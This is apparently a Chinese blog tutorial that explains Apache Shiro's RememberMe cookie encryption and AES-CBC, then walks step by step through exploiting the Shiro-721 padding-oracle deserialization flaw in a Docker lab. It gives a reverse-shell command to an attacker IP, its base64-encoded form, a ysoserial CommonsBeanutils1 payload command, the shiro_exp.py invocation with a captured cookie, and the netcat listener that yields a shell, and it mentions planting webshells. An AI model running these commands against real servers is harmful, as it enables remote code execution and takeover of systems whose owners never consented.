Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序
序列化就是为了传输方便,把一个对象类型的数据转换成字符串进行传输;比如javascript里的一个对象{name:'aini',age:22}可以通过JSON.stringify函数转换成一个JSON格式的字符串,便于传输既这个对象会变成'{"name":"aini","age":18}',或者在PHP语言里面把一个类或者对象,或者函数等通过serialize函数进行序列化便于传输;序列化后产生的JSON,或者XML格式不仅传输便利,而且可以跨语言传输数据,这个把某个对象序列化成json格式或者XML格式或者其他序列化格式的字符串过程称为序列化;不过值得注意的是序列化不仅仅是这一种方式,还有对象数据类型转换成XML格式等,可以自行百度一下;
反序列化就是序列化的逆向过程,把一个序列化的JSON字符串内容或者XML内容反向还原回序列化前的对象格式
在Apache shiro的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),如果用户登录时勾选了这个选项。用户的请求数据包中将会在cookie字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。那么显然,服务端进行对cookie进行验证的步骤就是:取出请求包中rememberMe的cookie值 => Base64解码=>AES解密(用到密钥key)=>反序列化。
客户端产生rememberMe键值对以及服务端进行cookie验证步骤
这个加密解密过程还是蛮复杂的,shiro721加密用的是AES128秘钥,128表示128位,这么说秘钥就是16个字节
加密规则就是对数据分块加密,比如说数据一共有1000个字节,那1000个字节按16字节为单位,用16字节的秘钥分别进行加密处理,因为1000不能整除16,所以对最后一块还要进行填充,让长度达到16字节
字节是最终能换换成数字或者二进制的,那么可以对二进制,或者数字进行各种矩阵运算,比如异或运算,数学运算等
具体做了哪些矩阵运算,感兴趣的话可以自己查资料,大概过程可以看如下图
所以想要利用此漏洞,就得对AES-CBC加密算法秘钥进行破解,而破解就会耗费一点时间
我生成破解后带有payload的rememberMe的值的时候用了将近1个小时才生成rememberMe的值
# AES加密
from Crypto.Cipher import AES
import base64
"""
长度
16: *AES-128*
24: *AES-192*
32: *AES-256*
MODE 加密模式.常见的
ECB 可以没有iv
CBC 需要iv的
"""
# 创建加密器 注意秘钥和iv必须是16个字节
aes = AES.new( key= b"alexissbalexissb", mode=AES.MODE_CBC, iv=b"0102030405060708") # 分别是秘钥,模式,iv
data = "我吃饭了"
# 加密的内容必须是字节,所以先进行编码
data_bs = data.encode("utf-8")
# 需要加密的数据必须是16的倍数
# 填充规则: 缺少数据量的个数 * chr(缺少数据量个数)
pad_len = 16 - len(data_bs) % 16
data_bs += (pad_len * chr(pad_len)).encode("utf-8")
# 再对编码后的字节进行加密
bs = aes.encrypt(data_bs)
#用base64对结果进行编码
result = base64.b64encode(bs).decode()
用pad对字节进行填充达到规定的长度
# AES加密
from Crypto.Cipher import AES
import base64
from Crypto.Util.Padding import pad
"""
长度
16: *AES-128*
24: *AES-192*
32: *AES-256*
MODE 加密模式.常见的
ECB 可以没有iv
CBC 需要iv的
"""
# 创建加密器 注意秘钥和iv必须是16个字节
aes = AES.new( key= b"alexissbalexissb", mode=AES.MODE_CBC, iv=b"0102030405060708") # 分别是秘钥,模式,iv
data = "我吃饭了"
# 加密的内容必须是字节,所以先进行编码
data_bs = data.encode("utf-8")
# 需要加密的数据必须是16的倍数
# 用pad工具进行填充
data_bs = pad(data_bs,16)
# 再对编码后的字节进行加密
bs = aes.encrypt(data_bs)
#用base64对结果进行编码
result = base64.b64encode(bs).decode()
print(result)
# 转换成base64 bs是AES加密得到的字节
result = base64.b64encode(bs).decode()
#转换成16进制
import binascii
res = binascii.b2a_hex(bs).decode()
# 也可以转换成16进制,跟上面一个效果一样
bs.hex()
from Crypto.Util.Padding import pad,unpad
# base64编码后的密文
s = '9noPO0fcQizMbPkXcVOTDg=='
# 创建解密器
aes = AES.new(key= b"alexissbalexissb", mode=AES.MODE_CBC, iv=b"0102030405060708")
# 首先把base64编码转换成正常的字节
data = base64.b64decode(s)
res = aes.decrypt(data)
# 明文有可能有问题,因为字节是填充过得
# 用unpad 去除填充的内容,注:需要导入unpad
res = unpad(res,16)
# 得到明文
mingwen = res.decode("utf-8")
print(mingwen)
靶场:kali2023 192.168.31.150
攻击机:kali2023 192.168.31.20
工具一:shiro_exp.py
工具二:ysoserial.jar
工具一下载地址 :GitHub - inspiringz/Shiro-721: Shiro-721 RCE Via RememberMe Padding Oracle AttackShiro-721 RCE Via RememberMe Padding Oracle Attack - GitHub - inspiringz/Shiro-721: Shiro-721 RCE Via RememberMe Padding Oracle Attackhttps://github.com/inspiringz/Shiro-721 工具二下载地址:
https://github.com/insightglacier/Shiro_exploithttps://github.com/insightglacier/Shiro_exploit
需要有docker容器,如何安装docker,docker常见命令请见如下博客:
docker及docker命令详解_ANii_Aini的博客-CSDN博客docker及docker命令详解;docker是一个软件,是一个运行与linux和windows上的软件,用于创建、管理和编排容器;docker平台就是一个软件集装箱化平台,是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,也可以实现虚拟化,并且容器之间不会有任何接口;https://blog.csdn.net/m0_67844671/article/details/132872790?spm=1001.2014.3001.5502
工具一中就包含靶场环境,工具1压缩包放到靶场主机上进行解压
rz -E ## 从物理机拉取文件
unzip Shiro-721-master.zip ## 解压文件
ls
cd Shiro-721-master
ls
cd Docker
需要先创建一个docker镜像
docker build -t shiro-721 .
docker images 查看一下是否镜像建立成功
启动容器(相当于启动靶场了)
注意:shiro框架自己对外提供的端口是8080,我们映射到了本机80端口
docker run -d -p 80:8080 shiro-721:latest
docker ps 查看一下是否启动成功
靶场已经启动了,浏览器访问一下看看
先点击登录
输入账号密码,点击rememberME单选框以后,bp抓包
如果用正确的账号密码登录,则分别发送两个请求包,分别是POST和GET
POST请求包如下图这是(正确账号密码登录得到的包)
GET请求包如下图(这是正确密码登录得到的包,主要是向后台提交cookie值)
如果用错误的账号密码登录,则只会发送一个POST请求包
放到重放器里面,点击发送
看到响应包里面有个rememberMe=deleteMe字段,可以说存在shiro反序列化漏洞
需要工具的可以留言
存在shiro框架,而且把秘钥破解出来了
(如果工具不好用,或者需要工具可以留言)
首先把俩工具放在攻击机器上的同一个文件夹
工具一:shiro_exp.py
工具二:ysoserial.jar
注意:把IP和端口改成自己的(IP为攻击机器IP,端口是攻击机需要监听的端口)
bash -i >& /dev/tcp/192.168.31.20/4444 0>&1
因为有>&/等特殊符号存在,服务端可能做了防护,编码以后比较保险(这也是常用的做法)
推荐一个网站,生成编码后的木马很方便
Runtime.exec Payload Generater | AresX's BlogThere is no descriptionhttps://ares-x.com/tools/runtime-exec
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjIwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}
使用ysoserial.jar 的 CommonsBeanutils1 生成含有反向木马的文件
其中双引号里面就是我们生成的base64编码以后的payload
java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjIwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.class
拓展:这里的payload并不是说一定要反向shell,也可以是在目标服务器创建一句话木马,或者创建恶意文件等都可以,比如:touch aini.txt;对这个恶意payload进行base64编码以后也可以进行攻击
开始头疼了,因为kali Python2.7是没有pip2,没办法安装模块,而我们的生成rememberMe 值的Python脚本需要安装一个模块,名字是paddingoracle ,到时候会提示缺这个包,按照提示pip2 install paddingoracle 安装即可
解决办法我写在了下面这个博客里面,看Python2.7安装pip2 解决这个问题
shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程)_ANii_Aini的博客-CSDN博客shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程);Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序;https://blog.csdn.net/m0_67844671/article/details/133147551?spm=1001.2014.3001.5501保证这三个文件在同一个目录里。kali上解决了Python2有pip2且能安装模块
然后就是运行以下命令
python2 shiro_exp.py http://192.168.31.150/login.jsp FTZdvTqs0f1RpPvgmTB/GjZycgRNQeDpuzN5uCZ96nC5PymXJhQbNyRdAr8vUTE93dPkn0zvuHCFEtDE0WatZr9AVO8Fb5GGLNB0xkzTcJwfEo7ZRP7H6rxk6cGcDNMNDiBmTBow9nrpuhfUHoHcG0zOmPyBGAb5qMFke2TMgYEIsP7w3glLwRXUAOMWGaZ1htlZpt/4fs4HV2vXzJoPcVag0OsSQR1DQwIyrSpFUzSCiYlUdWY4eX7qz+CtLLbGTWfUbUpgpaqy6Iqmk1JUp5MARf+5INpaISAZ+VgeSsg2oK9R6YE9ylvkmTC6WMQuGVZSupT1aZxDhmGDOW9yE3TBzWCWjuZ8Frg8kBBEIYKlJcbIWJkN3OFUgOg/+yNTj9a+R94UG+G3vvzd3O57kZ9c4FuhmFBvoI2GYDkC1bwPrfroHi+HvaCJRb2xoheEVMqW2QDNI5jgB7VU+EUgCWSundISKwhAhkxEhk2bW26XbLYi+6O2sjCuF2xvhcDV payload.class
这个命令从左到右分别是 :
python2 (需要有Python2和pip2,pip2需要安装一个模块儿)
shiro_exp.py(工具里有)
url地址 (就是网站登录页面的地址)
登录成功的cookie值 (之前抓包过,手动验证那里)
payload.class文件 (生成的木马文件)
cookie值从这个数据包这里来,正确账号密码登录时,会发两个包,一个POST,和一个GET,
GET请求包里包含正确的rememberMe的cookie值
运行命令
python2 shiro_exp.py http://192.168.31.150/login.jsp FTZdvTqs0f1RpPvgmTB/GjZycgRNQeDpuzN5uCZ96nC5PymXJhQbNyRdAr8vUTE93dPkn0zvuHCFEtDE0WatZr9AVO8Fb5GGLNB0xkzTcJwfEo7ZRP7H6rxk6cGcDNMNDiBmTBow9nrpuhfUHoHcG0zOmPyBGAb5qMFke2TMgYEIsP7w3glLwRXUAOMWGaZ1htlZpt/4fs4HV2vXzJoPcVag0OsSQR1DQwIyrSpFUzSCiYlUdWY4eX7qz+CtLLbGTWfUbUpgpaqy6Iqmk1JUp5MARf+5INpaISAZ+VgeSsg2oK9R6YE9ylvkmTC6WMQuGVZSupT1aZxDhmGDOW9yE3TBzWCWjuZ8Frg8kBBEIYKlJcbIWJkN3OFUgOg/+yNTj9a+R94UG+G3vvzd3O57kZ9c4FuhmFBvoI2GYDkC1bwPrfroHi+HvaCJRb2xoheEVMqW2QDNI5jgB7VU+EUgCWSundISKwhAhkxEhk2bW26XbLYi+6O2sjCuF2xvhcDV payload.class
就会报错,因为提示有一个包没找到,名字是paddingoracle
pip2 install paddingoracle
提示安装成功了,再次运行上述命令
开始破解了,不过需要很长时间的等待,因为shiro721用的是AES-CBC 方式加密,破解替换需要点时间
通过等了差不多45分钟以后,终于得到了带有payload的cookie值
这就是带有payload的cookie值
这个端口是我们生成反向木马payload的时候指定的,要跟但是指定的保持一致,就下面这个命令中的4444端口
bash -i >& /dev/tcp/192.168.31.20/4444 0>&1
nc -lvvp 4444
用新得到的带有payload的rememberMe值替换登录成功后GET请求中的rememberMe的值。
源数据包如下,就是正确账号密码登录后得到的GET数据包
对rememberMe值进行替换,用新得到rememberMe的值 ,替换后如下:
发包
看结果,能够连得上我们的攻击机器 ,成功getshell了
用错误的账号密码登录,只有一个POST数据包,如下
我们只要在cookie 里加上一个rememberMe 的字段即可(注意格式,cookie里键值对用分号隔开的)
看到确实能够getshell
然后就可以命令执行了
需要工具的可以留言
有遇到问题,或有不懂的地方欢迎留言讨论